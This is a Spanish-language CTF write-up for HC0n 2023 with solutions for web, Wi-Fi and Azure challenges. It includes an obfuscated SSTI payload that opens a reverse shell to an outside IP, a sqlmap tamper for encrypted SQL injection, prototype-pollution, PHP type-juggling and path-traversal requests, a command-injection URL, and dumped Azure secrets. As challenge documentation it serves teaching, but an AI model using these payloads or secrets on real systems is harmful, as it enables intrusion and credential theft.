Intro

Writeups de los retos resueltos en el CTF de HC0n 2023. Disculpas por la brevedad de las notas y falta de capturas de algunos retos, cualquier duda, sugerencias/ideas para resolver los retos de otras formas, o correciones de errores comentad sin miedo.

Hello Telegram (Welcome)

Copy paste de grupo Telegram h-c0n 2023 CTF Flag: hc0nCTF{Y34h_4_st4Nd4rD_t3l3grAm_fl4G!}

Sleepy Welcome (Welcome)

Binario bien gordito de sleeps, los pisamos con LD_PRELOAD para que en vez de dormir sea inmediato:


// Bypass common C sleep functions
#include <time.h>
#include <unistd.h>

int clock_nanosleep(clockid_t clockid, int flags,
                    const struct timespec *request,
                    struct timespec *remain) {
    return 0;
}

unsigned int sleep(unsigned int seconds)
{
    return 0;
}
int usleep(useconds_t usec)
{
    return 0;
}
int nanosleep(const struct timespec *req, struct timespec *rem)
{
    return 0;
}

gcc inject.c -shared -fPIC -o inject.so
LD_PRELOAD="$PWD/inject.so" ./welcome

Hall of Sh0n - Flag 1 (Web)

User test segun comentario en source. Contraseña probando a mano típicas funciona password.

Flag: hc0nCTF{TBH_n0t_4_veRy_h4Rd_ch41l3Ng3_f0R_sH0n}

Hall of Sh0n - Flag 2 (Web)

La saca intruder probando a cambiar el id del usuario, con id 9 da resultado diferente.

62f0f2a4a1a3afeec3cc52e4386f06a3.png

hc0nCTF{SH0n_H4s_n3V3r_b3En_G00d_At_s3TT1ng_c00K13s}

Hall of Sh0n - Flag 3 (Web)

Descargamos el codigo fuente de la app, da la URL en el source, y reverseamos la DLL de la web. Vemos SQLi al votar a cada persona, pero el paylaod tiene que estar cifrado, y no parece facil exfiltrar la flag directamente. Hora de tirar de SQLMap, somos unos vagos.

Implementamos un tamper que cifre los payloads de sqlmap: dos partes, el .net copy pasteando el código relevante, y el python para interactuar con sqlmap. Minimo esfuerzo?


using System;
using System.Security.Cryptography;
using System.Text;
using System.IO;
          
public class HomeController
{
  private static string password = "Shon_m4nda_y No_tu_B4nda";
  
  public static void Main(string[] args)
  {
    //Console.WriteLine(HomeController.Decrypt("nn1FLHWWHaAe70bplZ5DTg=="));
    Console.WriteLine(HomeController.Encrypt(Encoding.UTF8.GetString(Convert.FromBase64String(args[0]))));
  }
                         
  public static string Encrypt(string plainText)
    {
      if (plainText == null)
        return (string) null;
      byte[] bytes1 = Encoding.UTF8.GetBytes(plainText);
      byte[] bytes2 = Encoding.UTF8.GetBytes(HomeController.password);
      byte[] hash = SHA512.Create().ComputeHash(bytes2);
      return Convert.ToBase64String(HomeController.Encrypt(bytes1, hash));
    }
  
  public static string Decrypt(string encryptedText)
    {
      if (encryptedText == null)
        return (string) null;
      byte[] bytesToBeDecrypted = Convert.FromBase64String(encryptedText);
      byte[] bytes = Encoding.UTF8.GetBytes(HomeController.password);
      byte[] hash = SHA512.Create().ComputeHash(bytes);
      return Encoding.UTF8.GetString(HomeController.Decrypt(bytesToBeDecrypted, hash));
    }

    private static byte[] Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
    {
      byte[] salt = new byte[8]
      {
        (byte) 13,
        (byte) 37,
        (byte) 13,
        (byte) 37,
        (byte) 13,
        (byte) 37,
        (byte) 13,
        (byte) 37
      };
      using (MemoryStream memoryStream = new MemoryStream())
      {
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
          Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
          rijndaelManaged.KeySize = 256;
          rijndaelManaged.BlockSize = 128;
          rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
          rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
          rijndaelManaged.Mode = CipherMode.CBC;
          using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
          {
            cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
            cryptoStream.Close();
          }
          return memoryStream.ToArray();
        }
      }
    }

    private static byte[] Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
    {
      byte[] salt = new byte[8]
      {
        (byte) 13,
        (byte) 37,
        (byte) 13,
        (byte) 37,
        (byte) 13,
        (byte) 37,
        (byte) 13,
        (byte) 37
      };
      using (MemoryStream memoryStream = new MemoryStream())
      {
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
          Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
          rijndaelManaged.KeySize = 256;
          rijndaelManaged.BlockSize = 128;
          rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
          rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
          rijndaelManaged.Mode = CipherMode.CBC;
          using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
          {
            cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
            cryptoStream.Close();
          }
          return memoryStream.ToArray();
        }
      }
    }

    public static string GetSHA1(string texto)
    {
      byte[] hash = SHA1.Create().ComputeHash(Encoding.Default.GetBytes(texto));
      StringBuilder stringBuilder = new StringBuilder();
      foreach (byte num in hash)
        stringBuilder.AppendFormat("{0:x2}", (object) num);
      return stringBuilder.ToString();
    }  
}

Compilamos con Visual Studio, renombramos a bonito.exe y nos lo llevamos a la carpeta de sqlmap. El tamper, guarrada.py, lo colocamos en la carpeta de tampers de sqlmap:


#!/usr/bin/env python

import re
import base64
import os

from lib.core.enums import PRIORITY
priority = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    encoded = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    encrypted = os.popen('bonito.exe ' + encoded).read().replace('\n', '')
    return encrypted

Y lanzamos sqlmap con –tamper=guarrada y pidiendo dump de la tabla flags.

Flag: hc0nCTF{D4mmmn_sh0N_St0P_Pr0GR4mM1ng_SH1tTy_qu3ri3S}

Self Browser (Web)

Enumeracion: /browser permite mostrar contenido URLs aleatorias usando SSRF. /dev 403. Usamos SSRF para ver /dev

localhost:5000/dev?name vulnerable XSS, possible SSTI bloqueado por filtro. Haciendo pruebas char a char cada vez que bloquea una peticion, la blacklist es aproximadamente: {{, }}, [ y ] __, y {% con mas de un espacio%}

Construimos payload reverse shell paso a paso. Ejemplos muy buenos en los que me he basado: https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ Generador reversas: https://www.revshells.com/


POST /browser HTTP/1.1
Host: 161.35.71.251:50000
Content-Length: 971
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymzPBRxBE0v6ifc8T
Accept: */*
Origin: http://161.35.71.251:50000
Referer: http://161.35.71.251:50000/browser
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundarymzPBRxBE0v6ifc8T
Content-Disposition: form-data; name="url-input"

http://localhost:50000/dev?name={%if request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x35\x35\x2e\x31\x33\x2e\x35\x31\x2e\x31\x35\x34\x22\x2c\x35\x38\x31\x32\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x62\x61\x73\x68\x22\x29\x27')|attr('read')()%}A{%endif%}

------WebKitFormBoundarymzPBRxBE0v6ifc8T--

Recibimos la reversa


root@4098e3c1c7b5:/python-docker# grep -ri "hc0n" /
/home/flag.txt:hc0nCTF{n4h_I_4m_n0t_r3nd3R1nG_m0Re_bR0ws3rs}

Shop-API (Web)

Prototype Pollution en utils.js, usando mergeDeep. En este tipo de retos me gusta ir hacia atrás, desde la flag hacia las entradas o acciones que puede hacer el usuario:

  1. La flag la devuelve la app al comprar el producto flag.
  2. Para comprar el producto flag necesitamos saldo suficiente
  3. Comprar un producto resta saldo, si el precio es negativo, aumentaria nuestro saldo.
  4. Para crear un producto necesitamos permiso de admin.
  5. Para conseguir permiso de admin, podemos usar el prototype pollution.

Confirmamos pollution en la consola del navegador:


function isObject(item) {
  return (item && typeof item === 'object' && !Array.isArray(item));
}

function mergeDeep(target, ...sources) {
  if (!sources.length) return target;
  const source = sources.shift();

  if (isObject(target) && isObject(source)) {
    for (const key in source) {
      if (isObject(source[key])) {
        if (!target[key]) Object.assign(target, { [key]: {} });
        mergeDeep(target[key], source[key]);
      } else {
        Object.assign(target, { [key]: source[key] });
      }
    }
  }

  return mergeDeep(target, ...sources);
}

console.log('Before: ' + {}.polluted)
mergeDeep({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)

En Javascript, si un objeto no tiene una propiedad, mira en su prototype. Al crear el usuario, los roles NO contiene isAdmin. Si contuviera isAdmin a false, no funcionaría.


if (user.roles && user.roles.isAdmin) {
	roles["isAdmin"] = true;
}
Si contaminamos desde cualquier otro objeto, podemos pasar este check. mergeDeep se usa para juntar configuración del usuario, con el campo extra que podemos definir a través de la API.


let extra = JSON.parse(userObject.configuration.extra)
let userConfiguration = { ...userObject.configuration, ...extra };
let mergedConfiguration = customUtils.mergeDeep(config.defaultConfiguration, userConfiguration);

La clave es que el esquema del usuario especifica roles por defecto = { isBasic: true }, sin isAdmin.



const userSchema = new Schema({
  username: { type: String, required: true, unique: true },
  email: {
    type: String, required: true, unique: true, validate: {
      validator: function (v) {
        var emailRegex = /^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/;
        return emailRegex.test(v);
      }
    }
  },
  password: { type: String, required: true },
  roles: { type: Object, required: false, default: () => ({ isBasic: true }) }, //Custom role system, default role is basic_user. More roles can be added
  configuration: {
    type: configurationSchema,
    required: true,
    default: () => ({})
  },
  wallet: { type: Number, required: true, default: 5000 },
});

Para hacer las llamadas a la API cómodamente, probar todo en local y luego tirar contra el servidor real he usado Postman.

Private Halborn Portal (Web)

Enumeración: ?debug devuelve el codigo fuente


<html style="background-image: url('img.jpg');">
<?php
$username = "halbornautest";

function generate_reset_token($username) {
    $time = intval(microtime(true) * 1000);
    $token = md5($username . $time);
    return $token;
}


function get_token($file) {
    $fh = fopen($file, "r");
    $token = fread($fh, filesize($file));
    $token = str_replace(PHP_EOL, '', $token);
    fclose($fh);
    return $token;
}


if(isset($_POST['submit'])){
    $token = generate_reset_token($username);
    echo '<span style="color:#AFA;text-align:center;">This is halbornautest token '.$token.' | Timestamp:  '.intval(microtime(true) * 1000).'</span>';
    //target token is generated when user submit request
    $halborn_admin = "halbornaut";
    sleep(2);
    $admin_token = generate_reset_token($halborn_admin);
    $token_file = "/tmp/".$token;
    // create and write tokenfile
    $fh = fopen($token_file, "w") or die("Unable to open file!");
    fwrite($fh, $admin_token);
    fclose($fh);
    setcookie("token",$token); //good job developer you are using $token and NOT $admin_token. Promoted!
    
}
if(isset($_POST['admin'])) {
    $token = $_POST["admin"];
    $token_file = "/tmp/".$_COOKIE["token"];
    $valid = get_token($token_file);
    if ($token === $valid) {
        if (isset($_COOKIE['token'])) {
            unset($_COOKIE['token']);
            setcookie('token', '', time() - 3600, '/'); 
        }
        session_start();
        $_SESSION["admin"] = $token;
        header("Location: private.php");
    } else {
        echo '<span style="color:#AFA;text-align:center;">Wrong Token</span>';
    }
}

if (isset($_GET['debug'])) {
    echo highlight_file(__FILE__, true);
}
?>
<title>Halborn Access</title>
<h1 style="color: white;"><center>Login</center></h1>
<hr><br>
<center>
    <!-- Important! remove this `halbornautest` generation token debug -->
    <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="token">
        <div class="form-element">
            <label style="color: white;"><code>halbornautest</code> generation token </label>
        </div>
        <br>
        <button type="submit" name="submit" value="submit">Submit</button>
    </form>
</center>

<center>
    <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="signin-form">
        <div class="form-element">
            <label style="color: white;">Use <code>halbornaut</code> token: </label>
            <input name="admin" required />
        </div>
        <br>
        <button type="submit">Log In</button>
        <!-- Token `halbornaut` is generated when `halbornautest` POST request is made -->
    </form>
</center>

</html>
Login

halbornautest generation token

Submit
Use halbornaut token: 

Log In

md5(username+timestamp) para generar los tokens. Genera token de user, duerme 2 segundos, genera el de admin. Sabemos los dos usernames, y el timestamp de admin podemos calcularlo sumando 2 segundos al timestamp que devuelve el servidor.

Al superar la comprobación, pasamos al siguiente paso private.php.


<html style="background-image: url('img.jpg');">
    <?php
    session_start();
    if (empty($_SESSION["admin"])) {
        header("Location: form.php");
        die("bye bye");
    }
        require_once 'secret.php';
        if (isset($_POST['username']) && isset($_POST['password'])) {
            if (strcmp($_POST['username'], base64_encode($user)) == 0) { 
                if (sha1($_POST['password']) == md5($passwd)) {
                    session_start();
                    if (isset($_SESSION['password'])) {
                        header("Location: manager.php");
                    } else {
                        $_SESSION['password'] = "manager";
                        session_write_close();
                        sleep(4); 
                        session_start();
                        unset($_SESSION['password']);
                    }
                } else {
                    die("Welcome Welcome, LONG HALBORN!");
                }
            } else {
                die("Bye halbornaut!");
            }
        }
        if (isset($_GET['debug'])) {
            echo highlight_file(__FILE__, true);
        }
        if(isset($_POST['debug'])) { 
            echo var_dump($_SESSION);
            die();
        }        

    ?>

    <title>Private Portal</title>
    <h1 style="color: white;"><center>Private Portal</center></h1>
    <hr><br>

    <center>
        <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="signin-form">
            <div class="form-element">
                <label style="color: white;">Username: </label>
                <input type="name" name="username" required />
            </div>
            <br>
            <div class="form-element">
                <label style="color: white;">Password: </label>
                <input type="password" name="password" required />
            </div>
            <br>
            <button type="submit" name="login" value="login">Log In</button>
        </form>
    </center>

</html>
Private Portal

Username: 

Password: 

Log In

Míticos errores de php loose comparison, la comparacion de password nos la saltamos con un hash que tenga aspecto de numero en notacion cientifica (0e12 == 0e98) y el nombre con un array:


POST /private.php HTTP/1.1
Host: 161.35.71.251:50010
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=feeornk8kfpqgk2lbkjqsvelge
Connection: close

username[]=any&password=aaroZmOk

Al superar la comprobación, pasamos al siguiente paso manager.php. Recibimos el código fuente en una cabecera:


Halborn: HalbornWeb2Rulez->PD9waHAKCnJlcXVpcmVfb25jZSAnc2VjcmV0LnBocCc7IApzZXNzaW9uX3N0YXJ0KCk7CgpmdW5jdGlvbiBwYXNzd29yZF9nZW5lcmF0ZSgkY2hhcnMsJHVzZXJfcGluKQp7CiAgICAgICAgJGRhdGEgPSAkdXNlcl9waW4uJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICAgICAgcmV0dXJuIHN1YnN0cihzdHJfc2h1ZmZsZSgkZGF0YSksIDAsICRjaGFycyk7Cn0KCmlmKCFpc3NldCgkX1NFU1NJT05bJ3Bhc3N3b3JkJ10pKXsKICAgIGhlYWRlcigiTG9jYXRpb246IGluZGV4LnBocD90cnktaGFyZGVyIik7CiAgICBkaWUoKTsKfSBlbHNlIHsKICAgIGlmKCFpc3NldCgkX0dFVFttZDUoJ3Bpbmdib2FyZCcpXSkpeyAjc29tZSBsZWFrcwogICAgICAgICRsZWFrID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cyhiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpKTsKICAgICAgICBoZWFkZXIoIkhhbGJvcm46IEhhbGJvcm5XZWIyUnVsZXotPiRsZWFrIik7CiAgICAgICAgZGllKCk7CiAgICB9ICAKfQoKaWYoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKSB7IAogICAgZWNobyB2YXJfZHVtcCgkX1NFU1NJT04pOwogICAgZGllKCk7Cn0KCiRjb29raWVfdmFsdWUgPSAiaGFsYm9ybk9yZyI7CmlmIChpc3NldCgkX0NPT0tJRVsiZGVwYXJ0bWVudCJdKSkgewogICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojQUZBO3RleHQtYWxpZ246Y2VudGVyOyI+V2VsY29tZSB0byAnLiRfQ09PS0lFWyJkZXBhcnRtZW50Il0uJzwvc3Bhbj4nOwogICAgICAgICRpbmZvID0gImluZm8vIi4kX0NPT0tJRVsiZGVwYXJ0bWVudCJdOyAKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGluZm8pKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBzdHlsZT0iY29sb3I6I0FGQTt0ZXh0LWFsaWduOmNlbnRlcjsiPjxwPjxzdHJvbmc+RGVwYXJ0bWVudDo8L3N0cm9uZz48L3A+PC9zcGFuPjxwPjxwcmU+JzsKICAgICAgICAgICAgICAgIGluY2x1ZGUgKCRpbmZvKTsKICAgICAgICAgICAgICAgIGVjaG8gJzwvcHJlPjwvcD4nOyAKICAgICAgICAgICAgICAgIGlmIChpc3NldCAoJF9SRVFVRVNUWydpZCddKSAmJiBpc19udW1lcmljICgkX1JFUVVFU1RbJ2lkJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojQUZBO3RleHQtYWxpZ246Y2VudGVyOyI+PHA+PHN0cm9uZz5QYXNzd29yZCBnZW5lcmF0ZSBzdWNjZXNmdWxseTwvc3Ryb25nPjwvcD48L3NwYW4+JzsgLy9ObyBpbXBsZW1lbnRlZCBzdG9yZWQgdXNlciBwYXNzd29yZCB5ZXQuCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojQUZBO3RleHQtYWxpZ246Y2VudGVyOyI+VXNlcjogJy4kX1JFUVVFU1RbInVzZXJuYW1lIl0uJyB5b3VyIHBhc3N3b3JkIGlzOiAnLnBhc3N3b3JkX2dlbmVyYXRlKDM1LCRfUkVRVUVTVFsnaWQnXSkuJzwvc3Bhbj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0gCiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8cD5ObyBkZXBhcnRtZW50IGZvdW5kPC9wPic7CiAgICAgICAgfQoKCn0gZWxzZSB7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz0ndG9wJz5Mb2dnZWQgaW4gYnV0IGNvb2tpZSBub3Qgc2V0PGJyLz5SZWZyZXNoIDwvZGl2PiI7CiAgICAgICAgc2V0Y29va2llKCdkZXBhcnRtZW50JywgJGNvb2tpZV92YWx1ZSwgdGltZSAoKSArICg4NjQwMCAqIDMwKSk7Cn0KCj8+Cgo8aHRtbCBzdHlsZT0iYmFja2dyb3VuZC1pbWFnZTogdXJsKCdpbWcuanBnJyk7Ij4KICAgIDx0aXRsZT5IYWxib3JuIFBpbmdCb2FyZCBPcmdhbml6YXRpb248L3RpdGxlPgogICAgPGgxIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48Y2VudGVyPlRoaXMgc2l0ZSBkaXNwbGF5IGRlcGFydGFtZW50cyBuYW1lcy48L2NlbnRlcj48L2gxPgogICAgPHAxIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48Y2VudGVyPkl0J3MgaW1wb3NpYmxlIHRvIGFjY2VzcyBvbiB0aGlzIHNpdGUuIFJlYXNvbiwgaGFsYm9ybiBkZXZlbG9wZXJzIGlzIHdvcmtpbmcgb248Y2VudGVyPjwvcDE+CiAgICA8YnI+PGhyPjxicj4KCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD9waHAgYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOyA/PiIgbmFtZT0iZ2l2ZSBtZSBmbGFnZyI+CiAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1lbGVtZW50Ij4KICAgICAgICAgICAgPGxhYmVsIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij5Mb2dpbiAoTm90IGZpbmlzaGVkIHlldCEpPGxhYmVsPgogICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InVzZXJuYW1lIiByZXF1aXJlZCAvPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImlkIiByZXF1aXJlZCAvPgogICAgICAgICAgICA8YnI+PGJyPgogICAgICAgIDwvZGl2PgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJHbyI+TG9nIEluPC9idXR0b24+CiAgICA8L2Zvcm0+CjwvaHRtbD4K

From base 64:


<?php

require_once 'secret.php'; 
session_start();

function password_generate($chars,$user_pin)
{
        $data = $user_pin.'ABCDEFGHIJKLMNOPQRSTUVWXYZabcefghijklmnopqrstuvwxyz';
        return substr(str_shuffle($data), 0, $chars);
}

if(!isset($_SESSION['password'])){
    header("Location: index.php?try-harder");
    die();
} else {
    if(!isset($_GET[md5('pingboard')])){ #some leaks
        $leak = base64_encode(file_get_contents(basename($_SERVER['PHP_SELF'])));
        header("Halborn: HalbornWeb2Rulez->$leak");
        die();
    }  
}

if(isset($_GET['debug'])) { 
    echo var_dump($_SESSION);
    die();
}

$cookie_value = "halbornOrg";
if (isset($_COOKIE["department"])) {
        echo '<span style="color:#AFA;text-align:center;">Welcome to '.$_COOKIE["department"].'</span>';
        $info = "info/".$_COOKIE["department"]; 
        if (file_exists($info)) {
                echo '<span style="color:#AFA;text-align:center;"><p><strong>Department:</strong></p></span><p><pre>';
                include ($info);
                echo '</pre></p>'; 
                if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
                        echo '<span style="color:#AFA;text-align:center;"><p><strong>Password generate succesfully</strong></p></span>'; //No implemented stored user password yet.
                        echo '<span style="color:#AFA;text-align:center;">User: '.$_REQUEST["username"].' your password is: '.password_generate(35,$_REQUEST['id']).'</span>';
                }
        } 
        else {
                echo '<p>No department found</p>';
        }


} else {
        echo "<div class='top'>Logged in but cookie not set<br/>Refresh </div>";
        setcookie('department', $cookie_value, time () + (86400 * 30));
}

?>

<html style="background-image: url('img.jpg');">
    <title>Halborn PingBoard Organization</title>
    <h1 style="color: white;"><center>This site display departaments names.</center></h1>
    <p1 style="color: white;"><center>It's imposible to access on this site. Reason, halborn developers is working on<center></p1>
    <br><hr><br>

    <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="give me flagg">
        <div class="form-element">
            <label style="color: white;">Login (Not finished yet!)<label>
            <br><br>
            <input type="password" name="username" required />
            <input type="password" name="id" required />
            <br><br>
        </div>
        <button type="submit" name="submit" value="Go">Log In</button>
    </form>
</html>


POST /manager.php?d530e40ef2bea4f90d7a72759f328023 HTTP/1.1
Host: 161.35.71.251:50010
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://161.35.71.251:50010
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://161.35.71.251:50010/private.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=feeornk8kfpqgk2lbkjqsvelge; department=../../../../home/flag.txt
Connection: close

username[]=any&password=aaroZmOk

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2023 23:42:16 GMT
Server: Apache/2.4.39 (Unix)
X-Powered-By: PHP/7.2.19
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1010
Connection: close
Content-Type: text/html; charset=UTF-8

<span style="color:#AFA;text-align:center;">Welcome to ../../../../home/flag.txt</span><span style="color:#AFA;text-align:center;"><p><strong>Department:</strong></p></span><p><pre>hc0nCTF{h4h4_sT1lL_Us1nG_PHP_f0r_R34l??!!?11?}
</pre></p>
<html style="background-image: url('img.jpg');">
    <title>Halborn PingBoard Organization</title>
    <h1 style="color: white;"><center>This site display departaments names.</center></h1>
    <p1 style="color: white;"><center>It's imposible to access on this site. Reason, halborn developers is working on<center></p1>
    <br><hr><br>

    <form method="post" action="" name="give me flagg">
        <div class="form-element">
            <label style="color: white;">Login (Not finished yet!)<label>
            <br><br>
            <input type="password" name="username" required />
            <input type="password" name="id" required />
            <br><br>
        </div>
        <button type="submit" name="submit" value="Go">Log In</button>
    </form>
</html>

Hackable Router 1 (Wi-Fi)

Resuelto a botonazo con https://github.com/v1s1t0r1sh3r3/airgeddon, ataque a WPS null pin.

Hackable Router 2 (Wi-Fi)

Resuelto a botonazo con https://github.com/v1s1t0r1sh3r3/airgeddon, usando opciones WPA, PMKID, y bruteforce al hash con el diccionario que nos dan en el anterior reto poniendo prefijo y sufijo de la pista.

NotHound - Flag 1 (Active Directory)

Web: https://coolhacking.azurewebsites.net/ ea3b2f0cca7c65144069629758f0d359.png Vulnerable a Command Injection https://coolhacking.azurewebsites.net/2584373h1uddjakdaping.php?ip=127.0.0.1%3B+dir


127.0.0.1; dir
\r			   HINT   exp.b64	     index.html
-I			   HINT2  exp_dir	     index.php
2584373h1uddjakdaping.php  exp	  hostingstart.html  p0wny-shell.php

Aprovechamos la p0wny-shell que amablemente ha dejado otra persona. Limpiad después de resolver el reto, o facilitáis la vida a los que venimos detrás :P

Hints


p0wny@shell:…/site/wwwroot# cat HINT
coolhacking.AZUREwebsites.net
2584373h1uddjakdaping.php , index.html , hostingstart.html and index.php are the only original files

p0wny@shell:…/site/wwwroot# cat HINT2
@BORCH: I love  "azure ad pentesting"  ! Dont you?

Environment


USE_DIAG_SERVER=true
PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi ac_cv_func_mmap=no
LANGUAGE=C.UTF-8
USER=www-data
REGION_NAME=
PLATFORM_VERSION=99.0.10.818
HOSTNAME=bab7eb76342a
PHP_INI_DIR=/usr/local/etc/php
WEBSITE_INSTANCE_ID=3d969062b12706aa921ba6f7f4c26a884fc792c54850a4f005b1ea7d588edb84
IDENTITY_HEADER=4aa4b958-00d4-446c-bde2-d79077d205b0
SHLVL=1
PORT=8080
HOME=/var/www
WEBSITE_RESOURCE_GROUP=coolhacking_group
OLDPWD=/home/site/wwwroot
DIAGNOSTIC_LOGS_MOUNT_PATH=/var/log/diagnosticLogs
ORYX_ENV_TYPE=AppService
WEBSITE_HOME_STAMPNAME=waws-prod-blu-401
ScmType=None
DOCKER_SERVER_VERSION=19.03.15+azure
PHP_LDFLAGS=-Wl,-O1 -Wl,--hash-style=both -pie
PHP_MD5=
NGINX_RUN_USER=www-data
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.2
WEBSITE_HOSTNAME=coolhacking.azurewebsites.net
NUM_CORES=2
WEBSITE_STACK=PHP
ORYX_ENV_NAME=coolhacking
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC 39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A
WEBSITE_ROLE_INSTANCE_ID=0
PHP_ASC_URL=https://www.php.net/get/php-8.2.1.tar.xz.asc/from/this/mirror
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
WEBSITE_AUTH_ENCRYPTION_KEY=8749695B7618080C0FD34E164C05BD4A95119D9075618301DE0DE77C32E74FF4
_=/opt/startup/startup.sh
WEBSITE_ISOLATION=lxc
PHP_URL=https://www.php.net/get/php-8.2.1.tar.xz/from/this/mirror
WEBSITE_SITE_NAME=coolhacking
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/site/wwwroot
APPSETTING_WEBSITE_SITE_NAME=coolhacking
LANG=C.UTF-8
MSI_ENDPOINT=http://169.254.129.2:8081/msi/token
WEBSITE_AUTH_ENABLED=False
MSI_SECRET=4aa4b958-00d4-446c-bde2-d79077d205b0
NGINX_DOCUMENT_ROOT=/home/site/wwwroot
APPSETTING_WEBSITE_AUTH_ENABLED=False
WEBSITE_OWNER_NAME=cc41d3d4-2369-421e-8f0b-166e4b339380+coolhacking_group-EastUSwebspace-Linux
NGINX_PORT=8080
APACHE_RUN_USER=ud57389309d7950afa53fe0
WEBSITE_USE_DIAGNOSTIC_SERVER=False
PWD=/home/site/wwwroot
PHPIZE_DEPS=autoconf 		dpkg-dev 		file 		g++ 		gcc 		libc-dev 		make 		pkg-config 		re2c
IDENTITY_ENDPOINT=http://169.254.129.2:8081/msi/token
LC_ALL=C.UTF-8
APPSVC_RUN_ZIP=FALSE
